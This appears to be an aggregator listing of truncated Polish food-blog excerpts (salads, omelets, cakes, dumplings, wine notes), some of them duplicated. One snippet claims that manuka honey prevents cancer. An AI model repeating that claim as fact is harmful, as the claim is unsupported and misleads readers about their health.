natką pietruszki.  Dodajemy zmiażdżony z solą lub przeciśnięty przez praskę czosnek, mieszamy, po czym przyprawiamy sałatkę do smaku solą, pieprzem, cukrem i papryką. Na końcu dokładnie mieszamy z sosem powstałym ze zmiksowania oliwy z sokiem z cytryny, wstawiamy do lodówki. Przed podaniem dekorujemy sałatkę posiekaną pietruszką.   Autor: Ania

Moja Mama Gotuje
Pieczony omlet ze szparagami, fetą i papryką 212

pokrojone na połówki pomidorki koktajlowe. Wstawiamy do piekarnika nagrzanego do 180 stopni i pieczemy 30-35 minut. Omlet ze szparagami, fetą i papryką podajemy na gorąco z ulubionym sosem i pieczywem

My Chcemy Jeść
Mazurek z karmelem, figami i orzechami 174

figi wyłożyć równomiernie na masie karmelowej. Czekoladowy ganache: Do małego garnka wlać kremówkę, podgrzać i doprowadzić do wrzenia. Zdjąć z palnika, dodać czekoladę i wymieszać, do uzyskania gładkiego sosu czekoladowego. Ganache nanieść ozdobnym esem floresem na wierzch ciasta (do tego celu świetnie sprawdza się trzepaczka). Czas przygotowania: 100' Poziom trudności: średni Ilość porcji: 24 Kaloryczność: 350 kcal/porcja

Pyry na Gaz
Kolorowa sałatka ze szpinakiem, jajkiem, fetą, burakiem i orzechami włoskimi 176

kiełków z buraka 50 g orzechów włoskich Wykonanie Rozetnij granat na pół i wybierz z niego ziarenka zachowując sok. Wymieszaj sok z musztardą, miodem i oliwą. Sałatkę skrop sosem i posyp ziarenkami granatu. Składniki 1 mały granat – ziarenka i sok łyżeczka musztardy łyżeczka miodu łyżeczka oliwy   Jeśli spodobał Ci się ten wpis, odwiedź mój Fanpage na Facebooku – będziesz

Eat me! Fit me!
Odchudzona „sałatka gyros” z kurczakiem i suszonymi pomidorami 276

jedynie odrobinę oleju do usmażenia kurczaka i odrobinę oliwy z suszonych pomidorów. Nie trafił do niej makaron, ani biały ryż, który dzielnie zastępuje czerwona fasola. Nie jest zalana sosem, a jedynie skropiona oliwą. Sucha też nie jest, bo znalazły się w niej aromatyczne pomidorki koktajlowe i chrupiąca sałata.   *Nie zapomnijcie śledzić mnie na Instagramie i oznaczać zdjęć z moich

Eat me! Fit me!
Biała kiełbasa duszona w czerwonej cebuli 195

wiórka cebulę. Mieszamy i dorzucamy kiełbasę, dusimy na małym ogniu, aż cebula i rodzynki ze śliwką zaczną się rozpadać z miękkości, a woda nam odparuje tworząc lekko gęsty sos. I już! Prawda, że proste?! Smacznego! Share 4 Tweet 0 Google Plus 0 Save 0 4 Shares

Latosiowydom
Sałatka z ryżem, czerwoną fasolą, kukurydzą i tuńczykiem 275

się, że moja sałatka zmieni smak czy tez inne ciasto będzie pachniało sałatką. Składniki: 100 gram ryżu brązowego 1 puszka kukurydzy 1 puszka czerwonej fasoli 1 puszka tuńczyka w sosie własnym 3 jajka sól, pieprz 2 łyżki majonezu mały kubeczek jogurtu naturalnego Przygotowanie: Ryż gotujemy w osolonej wodzie według przepisu na opakowaniu. Jajka gotujmy ok 6 minut, na twardo

Życie zaczyna się w kuchni
Jajka faszerowane łososiem, pieczarkami i tuńczykiem 187

jest już słony. Nakładałam farsz do wydrążonych połówek jajek i dekorowałam kiełkami, rzodkiewką i plastrami łososia. Z tuńczykiem Składniki: * 2 jajka ugotowane na twardo * 2 - 3 łyżki tuńczyka w sosie własnym * 1/2 małej czerwonej cebulki * 1 łyżka majonezu * sól, pieprz * do dekoracji szczypiorek i kiełki Cebulkę drobno pokroiłam. W miseczce wymieszałam cebulkę, tuńczyka, rozdrobnione dwa żółtka, majonez. Przyprawiłam solą

Pieprzyć z Fantazją
Baron de Ley, 3- Vinas Blanco Reseva, 2015 185

się o dobre jedzenie. Będzie idealne do grillowanych ryb i owoców morza pod różną postacią, jednak najbardziej widzę je do krewetek black tiger z grilla z jakimś lekkim maślanym sosem lub FASZEROWANYCH KALMARÓW . Ode mnie: wino bardzo eleganckie, dosyć poważne i zobowiązujące. Nadające się na popołudniowe koktajle i okazje wymagające specjalnej oprawy. Wino to miałam okazję degustować w ramach Masterclass

Kate's Kitchen
Zdrowe batony bez pieczenia – najprostszy sposób na zdrową przekąskę 173

chroni organizm przed zakażeniami, ułatwia gojenie uszkodzeń skóry, ma działanie przeciwzapalne i zapobiega nowotworom . PRODUKT SPOŻYWCZY ZAWARTOŚĆ MGO Miód Manuka 38-829 mg/kg Inne rodzaje miodów 0-135 mg/kg Sos sojowy 8,7 mg/l Chleb 0,79 mg/kg Napoje alkoholowe 0-26 1,5 mg/l Miód manuka pozyskuje się głównie w Nowej Zelandii, z krzewów manuka, a jego produkcja wymaga

Czynniki pierwsze
Menu na tydzień: Proste, a niecodzienne dania 163

tych dań, obok których nie można przejść obojętnie. Już sama nawa kusi i przyciąga uwagę. Makaron i wódka? Czy ktoś się tutaj opił? Legenda głosi, że po raz pierwszy sos na wódce zrobili ludzie od obsługi technicznej w Hollywood, zużywając do niego płyn stosowany w horrorach i innych krwawych produkcjach – czyli sok pomidorowy imitujący krew, do którego dla lepszego połysku

Niedzielny kucharz
Uratowany obiad 218

owsianych. Wyszło smacznie 😁. Można korzystać z przepisów z gazet, ale trzeba się opierać na własnych umiejętnościach.  Składniki: - 2 piersi z kurczaka, - płatki owsiane (do obtoczenia) Marynata: - 1/2 łyżki sosu sojowego, - szczypta soli, - 1 łyżeczka granulowanego czosnku, - 1 łyżka oliwy z oliwek, - czarny pieprz. Ciasto: - 3 łyżki mąki pszennej, - 1/2 szklanki mleka, - 1/2 wody gazowanej, - 2 jajka, - szczypta soli

Przepisy Mikołaja
Roladki z tortilli z kurczakiem, bekonem i szpinakiem 1490

nadaje kremowy serek z przyprawą tzatziki. Ja użyłam pełnoziarnistych tortilli, ale każda będzie dobra. Samo przygotowanie roladek z tortilli z kurczakiem zajmie ok. 15 minut. Najpierw zamarynujcie kurczaka w sosie sojowym i musztardzie. Jednak jeśli nie macie na to czasu, możecie posypać kurczaka solą i pieprzem, to powinno wystarczyć. Użyłam gotowego bekonu pokrojonego w plastry . Pokroiłam go w małą kostkę

Słodkie Gotowanie
Rolada fasolowa z pieczarkami 144

Rolada fasolowa z pieczarkami to w pełni roślinna pieczeń, która nadaje się na zarówno na obiad, jak i śniadanie oraz kolację. Pysznie smakuje polana sosem z surówką i ryżem, jak również jako wkład do kanapek czy przekąska na imprezowy stół. A przepis jest bardzo prosty! Polecam Zachęcam także wypróbowania takiej pieczeni z fasoli . Składniki: 3 szklanki (760 ml) ugotowanej białej

Lamarida.pl
KUCHENNA APTEKA #31 - OLEJ Z PESTEK DYNI 166

włosy i paznokcie.  W kulinariach wykorzystuje się go wyłącznie na zimno, zarówno do deserów, jak i dań wytrawnych -  jako dodatek do chleba, warzyw, sera białego, sałatek, surówek, sosów, past oraz do bezpośredniego spożycia. Olej z pestek dyni dobrze komponuje się także z deserami – można nim wzbogacić smak lodów waniliowych lub sernika. Ze względu na wyjątkowe właściwości warto wprowadzić

Kuchnia MagdaLeny
KUCHENNA APTEKA #31 - OLEJ Z PESTEK DYNI 166

włosy i paznokcie.  W kulinariach wykorzystuje się go wyłącznie na zimno, zarówno do deserów, jak i dań wytrawnych -  jako dodatek do chleba, warzyw, sera białego, sałatek, surówek, sosów, past oraz do bezpośredniego spożycia. Olej z pestek dyni dobrze komponuje się także z deserami – można nim wzbogacić smak lodów waniliowych lub sernika. Ze względu na wyjątkowe właściwości warto wprowadzić

Kuchnia MagdaLeny
Placki z cukinii z kukurydzą 148

Placki z cukinii i kukurydzy można przygotować w krótkim czasie. Są pyszne, chrupiące. Podałam jej z bułgarskim sosem ajvar z papryki i pomidorów.  Takie danie można przygotować nie tylko latem, kiedy jest sezon na cukinię. To propozycja na cały rok.  Placki z cukinii z kukurydzą / 8-10 placków Składniki: 1 mała cukinia 100 g 300 g kukurydzy

Moja smaczna kuchnia
Sałatka z czarną quinoa i z kiełkami rzodkiewki w słoiku 160

kiełki rzodkiewki  1 garść Gotujemy czarną quinoa według opisu na opakowaniu. Odcedzamy. Warzywa kroimy. Składniki układamy warstwami w słoiku. składniki. Na wierzch posypujemy kiełkami np. rzodkiewki. Przygotowanie dressingu Sos vinaigrette : musztardę, oliwę i sok z cytryny mieszamy na jednolitą konsystencję. Doprawiamy solą i pieprzem

AZgotuj!
Jak przyrządzić tani obiad 160

farszu i zwiń w rulon lub w kopertę. Roztrzep jajka widelcem, zanurz naleśnika, następnie obtocz w bułce i smaż na złoty kolor po obu stronach. Podaj krokiety z domowym sosem pomidorowym lub na szybkiego z ketchupem. Smacznego!     The post Jak przyrządzić tani obiad appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Pieczone placki ziemniaczano-dyniowe 209

różnorodnymi potrawami. Stąd pomysł na pieczone placki, do których zużyłam ostatnią dynię. Placki mogą być samodzielnym daniem. Za mną jednak od dawna chodził smak suszonych grzybów, więc plackom towarzyszył sos grzybowy. Składniki (na 4 placki): 360 g dyni (masa po obraniu) 360 g ziemniaków (masa pod obraniu) 2 jajka czubata łyżka mąki pszennej mała cebula łyżeczka majeranku sól pieprz olej

Weekendy w domu i ogrodzie
Ciasto i sos do pizzy 195

Pizza to danie, które często gości na moim stole. Poniżej podaję wielokrotnie wypróbowany przepis. Pizzę należy piec w bardzo dobrze rozgrzanym piekarniku (minimum 250°C). Zapiekać z sosem pomidorowym i ulubionymi dodatkami

Bullio
Nuggetsy w panierce z krakersów 304

niej kurczaka przez 15 min. Krakersy kruszymy. Olej rozgrzewamy na patelni. Kawałki kurczaka obtaczamy w krakersach. Smażymy go z jednej i z drugiej strony na złocisty kolor. Podajemy z sosem (jogurt naturalny/majonez, musztarda, ketchup

Czarnawisienka
Jajka faszerowane fetą i koncentratem pomidorowym 252

serkiem i pomidorami Jajka faszerowane z tuńczykiem Jajka faszerowane z ciecierzycą Jajka faszerowane pastą krabową Jajka faszerowane żółtym serem i pomidorami Jajka faszerowane pastą łososiową Jajka w żółtym sosie chrzanowym Jajka faszerowane fetą i koncentratem pomidorowym Czas przygotowania: 15 minut Składniki: 5 jaj ugotowanych na twardo 50 g sera feta 1 łyżka majonezy 3 czubate łyżeczki koncentratu pomidorowego sól pieprz

Kulinarne przygody Gatity
Cynamonowe placuszki drożdżowe z jabłuszkiem 138

kolor z dwóch stron. Chwileczkę przetrzymać na ogniu, ponieważ placuszki są grube. Muszą być przesmażone. Serwowanie – podawać z kleksikiem słodkiej lub kwaśnej śmietany. Posypane cukrem pudrem i polane sosem klonowym. Oczywiście może podać według Waszego uznania i smaku. Polecam są pyszne. Wykonanie w thermomix do naczynia miksującego pokruszyć drożdże, dodać cukier, 1 łyżkę mąki, wlać połowę letniego mleka, czas

Kuchnia Pokoleń
Schab pieczony z jajkami w sosie chrzanowym 146

Idealny obiad na wielkanocny stół. Pieczony schab z jajkami w aromatycznym chrzanowym sosie. Koniecznie wypróbujcie

Z Hrabiną w kuchni
Sernik jogurtowy z jagodami 292

był pierwszy sernik jaki upiekłam na jogurcie greckim. Okazał się prawdziwym hitem w moim domu. Sernik jogurtowy z jagodami Do tej pory jogurtu greckiego używałam głównie do przygotowania sosów na zimno oraz jako dodatku do sałatek. Nie zdarzyło mi się pieć na nim ciast. Sernik , który powstał u mnie ostatnio był pierwszym sernikiem i ciastem w ogóle, gdzie zdecydowałam się

mecooks
Kluski z dziurką – przepis 156

Kluski z dziurką – tanie danie obiadowe. Można podać je z sosem lub okrasić skwarkami, zrumienionym boczkiem czy cebulką. Kluski z dziurką popularnie są też nazywane kluskami śląskimi czy kluskami śląskimi z dziurką. PRZEPIS NA KLUSKI Z DZIURKĄ Składniki na kluski z dziurką: 1kg ugotowanych ziemniaków 250g mąki ziemniaczanej Jak zrobić kluski z dziurką: Ziemniaki ugotowane i ostudzone przepuszczamy przez

Dorota Smakuje
Kurczak faszerowany kaszą, pistacjami i żurawiną 166

dół. Piecz 15 minut, albo do momentu aż grzbiet ładnie się przyrumieni. Obróć kurczaka i piecz jeszcze przez pół godziny. W trakcie pieczenia z kurczaka zacznie wytapiać się sos. Polewaj nim tuszkę od czasu do czasu. Wyjmij upieczonego kurczaka, przykryj folią aluminiową i odstaw na 10 minut. Po tym czasie podziel na części i podawaj. Smacznego! Artykuł Kurczak faszerowany kaszą

Niedzielny kucharz
Klopsiki gryczane 156

Niezwykle smaczne klopsiki gryczane zapiekane. Doskonale smakują polane sosem czosnkowym z dodatkiem surówek o wyrazistych, nie co ostrzejszych smakach. Szczerze polecam, danie bardzo syte, danie bezmięsne. Składniki 200 g kaszy gryczanej palonej,ugotowanej na sypko brokuł, ugotowany cebula 2 łyżki oleju 2 ząbki czosnku jajko+ żółtko 2 łyżeczki prażonych pestek słonecznika pęczek pietruszki pieprz,sól Kaszę … Czytaj dalej Klopsiki

gotuj ze mną
Sałatka z pieczarkami 286

plasterki i podsmażyć na maśle do odparowania wody z pieczarek. 2. Ser i jajka pokroić w kostkę. 3. Majonez wymieszać z musztardą. 4. Pieczarki, ser, rzeżuchę, jajka i sos majonezowy dokładnie wymieszać. 5. Doprawić do smaku solą i pieprzem. ZAPRASZAM NA FILM - Sałatka z pieczarkami! Jeśli spodobał Ci się film  subskrybuj mój kanał YouTube

Atlas Smaków
Babka cytrynowa z majonezem 197

polewą czekoladową lub domowym lukrem (np. cytrynowym ).                         Polecam Wam też inne dania z majonezem: – Jajka w sosie tatarskim – Sałatka z szynką i ananasem – Zapiekane piersi z kurczaka – Sałatka brokułowa z papryką – Jajka w majonezie

Kulinarne S.O.S.
Babka cytrynowa z majonezem 197

polewą czekoladową lub domowym lukrem (np. cytrynowym ).                         Polecam Wam też inne dania z majonezem: – Jajka w sosie tatarskim – Sałatka z szynką i ananasem – Zapiekane piersi z kurczaka – Sałatka brokułowa z papryką – Jajka w majonezie

Kulinarny S.O.S.
Kurczak w ziołach prowansalskich 181

serem mozzarella pieczarki nadziewane kaszą i serem kasza ze szpinakiem Polecam też na obiad: pierś kurczaka z tymiankiem , pierś z kurczaka po prowansalsku , kurczak z warzywami i pieczarkami w sosie paprykowym, Pierś faszerowana serem i warzywami , a szczególnie pierś kurczaka zapiekana z warzywami , kurczak caprese , czyli pierś z pomidorami i mozzarellą, faszerowana pierś z rukolą, faszerowana pierś z serem kozim

Damsko-męskie spojrzenie na kuchnię
Kluski łyżką kładzione 159

minut od wypłynięcia na powierzchnię.  Wyciągam łyżką cedzakową i jeszcze gorące serwuję na stół.  Nasza ulubiona wersja to z serem i topioną słoninką :) Pyszota! Notatki: * pasują do sosu grzybowego czy pieczeniowego * kluski puchną kiedy już są ugotowane * z tych składników wychodzi porcja dla 4 osób Smacznego! Lidka

Pieprzyć z Fantazją
Szöllősi Pincészet, Nészmely, Pinot Noir, 2017 184

jakości. Do czego: jako aperitif w piękny wiosenny dzień lub na piknik. Idealnie sprawdzi się do lekkich przekąsek, np. do grillowanych krewetek lub do białych ryb z maślano-ziołowym sosem. Śmiało można je również zaserwować do sałatki z grillowanym lub wędzonym kurczakiem. Ode mnie: wino na randkę w upalną letnią noc… by przy jego nienachalnym towarzystwie pogapić się z wybrankiem

Kate's Kitchen
Sałatka z kurczakiem w sosie curry - hit 2208

Przepis mam od koleżanki z pracy. Ta sałatka to hit! Musicie koniecznie spróbować. Chociaż jest bardzo oszczędna w składnikach to smakuje rewelacyjnie. A sos jest mega! Możecie dodać trochę więcej przyprawy curry, będzie ostrzejsza w smaku

Z Hrabiną w kuchni
PRODUKTY NATURALNE SCHRONISKO SMAKÓW MAGDA GESSLER 269

domu. Oferta sklepu jest naprawdę bogata i jest w czym wybierać. W ofercie znajdziemy m.in. chleby na zakwasie, wędliny i mięsa wędzone, sery, przetwory, miody, syropy owocowe, oleje, oliwy, sosy i wiele innych produktów. Kilka z nich miałam okazję spróbować i chętnie podzielę się z Wami moimi doznaniami smakowymi... Degustowane przeze mnie produkty: 1) Chleb żytni razowy To prawdziwy, ciężki

Kuchnia MagdaLeny
PRODUKTY NATURALNE SCHRONISKO SMAKÓW MAGDA GESSLER 269

domu. Oferta sklepu jest naprawdę bogata i jest w czym wybierać. W ofercie znajdziemy m.in. chleby na zakwasie, wędliny i mięsa wędzone, sery, przetwory, miody, syropy owocowe, oleje, oliwy, sosy i wiele innych produktów. Kilka z nich miałam okazję spróbować i chętnie podzielę się z Wami moimi doznaniami smakowymi... Degustowane przeze mnie produkty: 1) Chleb żytni razowy To prawdziwy, ciężki

Kuchnia MagdaLeny
Kluski z boczniakami w śmietanie 137

czymś. No to w rękę wpadło nam jabłko i czosnek. Wyszło niesamowicie pysznie <3 Składniki: KLUSKI: 500 g ziemniaków 1 jabłko 4 ząbki czosnku 350 g mąki ziemniaczanej SOS: 250 g boczniaków 1 cebula 1 łyżka masła 4 ząbki czosnku 1 łyżka suszonego lubczyku 2 łyżki mąki 400 ml mleka 3 łyżki śmietany 18% sól, pieprz Przygotowanie: Ziemniaki, obrane

R'n'G Kitchen
Placki orkiszowe z cukinią i kukurydzą 205

rozgrzanej nieprzywierającej patelni na małym ogniu pod pokrywką z dziurką. Smażyć z obu stron na rumiano. Najlepiej wykładać po 2 łyżki ciasta, ponieważ placki bardzo rosną. Podawać z ulubionymi sosami lub śmietaną. Smacznego Placki orkiszowe z cukinią i kukurydzą Placki orkiszowe z cukinią i kukurydzą Placki orkiszowe z cukinią i kukurydzą Placki orkiszowe z cukinią i kukurydzą Artykuł Placki orkiszowe

Smaki Armine
Placuszki japońskie 149

dłużej. Dzięki przykryciu będą też bardziej puszyste. Placuszki najlepiej podawać od razu po upieczeniu, bo jak odstawimy je do wystudzenia, to troszkę opadną. Moje dzieci wolały przestudzone. Podajemy z sosem, owocami, jogurtem, bitą śmietaną. Smacznego

kruche babeczki
SZYBKA SAŁATKA Z TUŃCZYKIEM 184

zależności co kto lubi. Na moim blogu znajdziecie już kilka propozycji tuńczykowych sałatek, a teraz polecam kolejną, która zrobiła furorę na naszej domowej imprezie :) Składniki: * 1 puszka tuńczyka w sosie własnym * 4 jajka * 3 ogórki kiszone * pół czerwonej papryki * pół puszki kukurydzy konserwowej * 2 łyżki majonezu * 1 łyżeczka musztardy * 2 łyżki posiekanego koperku * sól, pieprz do smaku Wykonanie: Jajka ugotować

Zrób to smacznie
Kanapki z awokado i jajkami 217

Kanapki z awokado i jajkami to dietetyczna propozycja na szybką, smaczną i zdrową kolację. Awokado znajduje się praktycznie w każdej diecie, ze względu na swoje właściwości

Kulinarnyblog.pl - wiesz jak gotować!
Środa: Błyskawiczne burgery wegetariańskie 170

niego burgery. Smaż na wolnym ogniu po 5-6 minut z każdej strony. Podawaj jak klasycznego burgera z bułką i dodatkami lub z sałatką. Możesz do burgerów zrobić prosty sos pomidorowy lub jogurtowy, ale nie jest to konieczne. Burger świetnie smakuje odgrzany z garścią świeżej rukoli. Smacznego! Na blogu znajdziecie więcej przepisów na burgery wegetariańskie i z mięsem: ZDROWE BURGERY

Niedzielny kucharz
Czwartek: Szybkie mini pizze z mąki pełnoziarnistej 160

tackę do pieczenia wyłożoną papierem. Pozbieraj ścinki ciasta, połącz z ciastem w misie, rozwałkuj i wytnij krążki. Razem powinno wyjść 7-8 mini pizz. Krok 4 Posmaruj każdy krążek sosem pomidorowym (np. według tego przepisu ) i ułóż na wierzchu ulubione składniki. Wstaw tackę do piekarnika i piecz 12-15 minut. Obserwuj pizze podczas pieczenia – jeśli brzegi ciasta mocno się zrumienią

Niedzielny kucharz
Jogurty idealne na diecie i lekki pudding chia z borówkami 180

czym najlepiej podać? Tego typu produkt można wykorzystać do wielu różnych dań. Od koktajli, dodatków do musli, puddingów chia, placuszków, lekkich deserów, aż po proste dipy czy dodatek do sosu pieczarkowego. Zastosowań jest wiele, podobnie jak dobroczynnych właściwości takich produktów. Polecam! A teraz czas na przepis na pyszny lekki pudding chia z borówkami na bazie wspomnianego jogurtu. Składniki

Słodkie okruszki
Smaki Dominikany, czyli co jeść w Raju 136

oraz zwykłe sery żółte, która bardzo długo dojrzewają i mają bardzo dobry, pełny smak. Klasyczną jednak potrawą jeżeli chodzi o Dominikanę jest mięso podawane z ryżem które jest polane sosem z fasolki lub ciecierzycy ( La Bandera) nie wygląda to może dobrze, natomiast smakuje bardzo dobrze. Wegetarianie z powodzeniem docenią smak ryżu i fasolki, jeżeli dodamy jeszcze świeże warzywa to genialna

Apetyt na Zielone
GOLONKA FASZEROWANA - KROK PO KROKU 270

najlepiej na całą noc pod obciążeniem. Na drugi dzień zdejmujemy gazę, golonki są gotowe do spożycia.  rada: Golonki możemy po ugotowaniu nie obciążać tylko podać na ciepło , z sosem np chrzanowym jako danie obiadowe

Z Majeczką w kuchni
Nachosy z sosem salsa 195

mąki kukurydzianej, - 160 ml gorącej wody, - 15 ml oleju, - 2 łyżeczki papryki słodkiej, - 1 łyżeczka pieprzu cayenne, - 1 łyżeczka czosnku granulowanego, - 1/2 łyżeczki soli, - 2 łyżeczki harissy. Sos salsa: - 400 g pomidorów krojonych z puszki, - 1/2 zielonej papryki, - 1 papryczka jalapeno lub habanero, - 1/2 łyżeczki czosnku granulowanego, - 2 łyżki cukru, - 3 łyżki octu, - 1 cebula, - 1 łyżeczka mąki ziemniaczanej, - sól

Przepisy Mikołaja
Chleb gryczany z ziarnami – prosty i zdrowy przepis (bezglutenowy) 149

domu nie jadało się kaszy gryczanej i pierwsze moje zetknięcie z nią było jeszcze w czasie studiów. Znajoma osoba namówiła mnie na zamówienie w stołówce kaszy gryczanej z jakimś sosem. I pamiętam, że gdy odebrałam talerz to od razu uderzył mnie nieprzyjemny zapach. Wprawdzie dotarłam z talerzem do stolika, ale aromat był on tak odpychający, że nawet nie skosztowałam kaszy

Lamarida.pl
Jajka nadziewane pieczarkami 142

śniadanie albo podać w formie przekąski. Moje nadziane są pieczarkami, przełamane ostrą i chrupiącą rzodkiewką. Jajka są niezawodne, możne je podawać na wiele sposobów, z różnymi pastami i sosami, nadziewać lub faszerować, a Wasi goście na pewno będą w pełni usatysfakcjonowani

Z Hrabiną w kuchni
KANAPKA CAPRESE 173

WYKONANIE DIP: Do miseczki ścieramy czosnek, dodajemy szczyptę soli i pieprzu oraz ocet jabłkowy i miód. Mieszamy, po czym dodajemy majonez, jogurt i świeżą miętę. Łączymy, aż powstanie gładki sos. Wstawiamy do lodówki. KANAPKI: Rozgrzewamy opiekacz lub patelnię, najlepiej grillową Ciabatty kroimy wzdłuż na pół. Jedną połówkę bułki lub 1 kromkę chleba smarujemy pesto i układamy plastry pomidora. Doprawiamy solą

cool and minty
Sałatka ” Wiosenny tuńczyk z fetą ” , mniam ! 158

Polecam naprawdę niebanalny smak , no i sałatka , a każda jest pyszna No prawie , każda Składniki : 1/2 kostki, sera feta 2 szklanki, ugotowanego na sypko ryżu 1 puszka tuńczyka w sosie własnym 1 mała puszka kukurydzy lub 1/2 zwykłej 1 mała cebula lub 1/2 zwykłej 2 – 3 duże, ząbki czosnku 2 ogórki kiszone , takie większe 1 średniej wielkości , czerwona papryka

Ogrodnik w podróży
Polędwiczka wieprzowa w sosie z whisky 151

Szukacie pomysłu na świąteczny obiad, którego jeszcze do tej pory nie zrobiliście? To może zainteresuje was polędwiczka wieprzowa w śmietanowym sosie z whisky? Jeśli tak to dobrze trafiliście, bo to ekspresowy, pyszny obiad, który zadowoli każdego. Polędwiczki są kruche, delikatne i miękkie, mimo krótkiej obróbki termicznej. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Fajitas z kurczaka 186

minut aż warzywa nieco zmiękną. Placki tortilli podgrzewaj na patelni lub w piekarniku. Fajitas podawaj z domowym pysznym guacamole , śmietaną 18%, jalapeno i świeżą kolendrą. Możesz przygotować też ostry sos pomidorowy, z wszystkimi dodatkami smakuje rewelacyjnie. SMACZNEGO! Artykuł Fajitas z kurczaka pochodzi z serwisu nietylkopasta.pl - blog kulinaria, restauracje, podróże

nietylkopasta.pl
Poniedziałek: Pieczone domowe nuggetsy 159

żeby ładnie przyrumienić mięso, wstaw je pod sam grill lub włącz opcję grilowania w piekarniku. Grill 1-2 minuty. Obserwuj, czy panierka nie przypala się. Podawaj z frytkami pieczonymi, sosem pomodorowym, barbecue, lub majonezowo-jpgurtowym. Smacznego! Artykuł Poniedziałek: Pieczone domowe nuggetsy pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Sałatka ryżowa z tuńczykiem 127

się zaplątał o nogi i sieM wsypało. Oj! Wsypało! Jednak nie ma tego złego…powstały dwa dania i deser. Składniki: 1/2 szklanki ryżu 2 jajka 1 puszka tuńczyka w sosie własnym 1 mała puszka kukurydzy 1 mała puszka groszku 5 sztuk świeżych daktyli 1 słoiczek kaparów 3 łyżki majonezu sól, pieprz Przygotowanie: Ryż gotujemy na sypko. (proporcje dostosowane do przepisu

R'n'G Kitchen
Jabłkowa kasza manna z owocami 151

Kasza manna ugotowana na soku z dojrzewających w słońcu słodkich jabłek, polana gęstym owocowym sosem to moja propozycja orzeźwiającego deseru, który polubią również najmłodsi. Świetnie sprawdzi się w roli przekąski między głównymi posiłkami. Składniki: Jabłkowa kasza manna: 500ml soku z jabłek Hortex Złote Jabłka 100% owoców 5 łyżek kaszy manny Mus owocowy: 200g mieszanki owocowej Hortex 100ml wody 1 łyżka

Szalona Kuchnia Eweliny
Chow mien z mieszanką chińską / Chow mein with a Chinese mixture 199

wrzuć czosnek pokrojony w plasterki. Smaż pół minuty, dodaj mieszankę chińską i podsmażaj na średnim ogniu 8 minut. Makaron przygotuj zgodnie z instrukcją na opakowaniu. Do warzyw dodaj miód, sos sojowy, dopraw solą i pieprzem. Smaż przez minutę a następnie włóż na patelnię przygotowany makaron i dokładnie połącz z warzywami oraz podprażonym wcześniej sezamem. Podawaj makaron z warzywami posypany szczypiorkiem

Delicious Place
Puszyste naleśniki z serem 162

bardzo różnią się od tradycyjnych naleśników. Są puszyste i miękkie, niektórzy porównują je do omlecików, czy biszkopta. Puszyste naleśniki smakują idealnie z serem, z jabłkami, czy świeżymi owocami i sosami na ich bazie. Do przepisu na puszyste naleśniki zainspirowała mnie jakiś czas temu Asia z kwestiismaku, u której również znajdziecie te naleśniki. Postanowiłam ulepszyć i urozmaicić tradycyjne naleśniki, ale efekt

NiePieprz.pl
Pasta degli avanzi 169

odrobinę oliwy z oliwek, wrzuciłam mięso oraz szpinak.  Dosmaczyłam lekko solą i pieprzem. Zupę zmiksowałam , ale nie na krem. Dodałam do niej BRIE, rozpuściłam.  Odcedziłam makaron, wlałam "sos" , który powstał z zupy (w sumie wzbogacona zupa o ser BRIE smakuje nieźle!) , dodałam szpinak z mięskiem, wymieszałam. Przed podaniem rzecz jasna sporo parmezanu. Idealnie wkomponuje się też Grana Padano

Z Kuchni Do Kuchni
Babka z orzechami laskowymi 136

skórka. Posiekać. W rondelku podgrzać śmietanę kremówkę (nie wolno zagotować!) i wyłączyć gaz. Dodać połamane czekolady i mieszać, aż do całkowitego połączenia składników. Ostudzić i wstawić do lodówki, aby sos trochę zgęstniał. Następnie polać babkę i posypać posiekanymi orzechami laskowymi. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Babka migdałowa z Amaretto → Babka orzechowa z jabłkami → Babka łaciata → Ciasto

Oryginalny smak
JAJKA FASZEROWANE ĆWIKŁĄ I SERKIEM, na zielonej sałacie z pomidorami 192

Stworzony specjalnie na Wielkanoc, wyjątkowy przepis na wspólne świąteczne śniadanie : w roli głównej jajka faszerowane domową ćwikłą oraz kremowym białym serem i kaparami, na sałacie w sosie śmietanowo-musztardowym z dodatkiem słodkich pomidorków koktajlowych i dużej ilości posiekanego szczypiorku. Wyjątkowe wiosenne śniadanie podczas  którego nie może zabraknąć czegoś pysznego do popicia np. soków Hortex albo kompotu. Jajka podajemy

Moja Książka Kucharska
Bułeczki pszenno-owsiane 146

sprawdzenia innych przepisów od Pawła Małeckiego, do których zamieszczam odnośniki niżej. Być może tak samo, jak ja polubicie jego receptury. Smacznego! Kruche rogaliki drożdżowe z jabłkami Pampuchy drożdżowe z sosem wiśniowym Pancakes z bitą śmietaną i malinami Tarta szpinakowo-truskawkowa Przepis na bułeczki pszenno-owsiane Drukuj przepis Porcji: 12 Czas gotowania: 2 godziny Składniki 200 ml mleka

Kuchnia Bazylii
Delikatne pulpeciki z indyka z komosą ryżową i pestkami dyni 153

nich komosę ryżową i odrobinę pestek dyni, co stworzyło pyszny i zdrowy obiad, który nawet posmakował mojemu mężowi - miłośnikowi bardziej treściwej oraz tradycyjnej kuchni. Pulpeciki możecie podać z sosem, choć ja osobiście wolę bez. Dodam jeszcze, że komosa ryżowa, czyli inaczej quinoa odznacza się wieloma właściwościami, które pozytywnie wpływają na nasz organizm. Charakteryzuje się wysoką zawartością błonnika pokarmowego oraz składników

Di gotuje
Kasza z sosem pomidorowym, pieczarkami i karczkiem 144

obiad czy wczesną kolację. Kasza to znakomity błonnik tak potrzebny dla naszego organizmu. Polecam gorąco nie tylko na wiosnę ale i przez cały rok. Kasza z pieczarkami i sosem pomidorowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Pulpeciki z łososia i ziemniaków (Polpettine di salmone e patate) 204

chrupiące na zewnątrz. Pulpeciki idealnie wpasowują si ę  w ma ł ą  rączkę naszych pociech. Pulpeciki podaj ę  zazwyczaj z ziemniaczanym puree i sosem jogurtowo-koperkowym. Mam nadziej ę , że dzisiejszy przepis przypadnie do gustu małym łakomczuchom ;)  SKŁADNIKI Pulpeciki 500 g łososia 2 ziemniaki 2 jajka 4 łyżki startego parmezanu

La grande e la piccola cuoca
Placuszki na maślance z syropem truskawkowym 187

mieć gęstość śmietany. Jeśli tak nie jest dodajemy mąkę. Delikatnie natłuszczamy patelnię i smażymy placki (na mniejszym ogniu) z obu stron. Jedna łyżka, to jeden placuszek. Placuszki podajemy z sosem truskawkowym. Smacznego

Słodkie okruszki
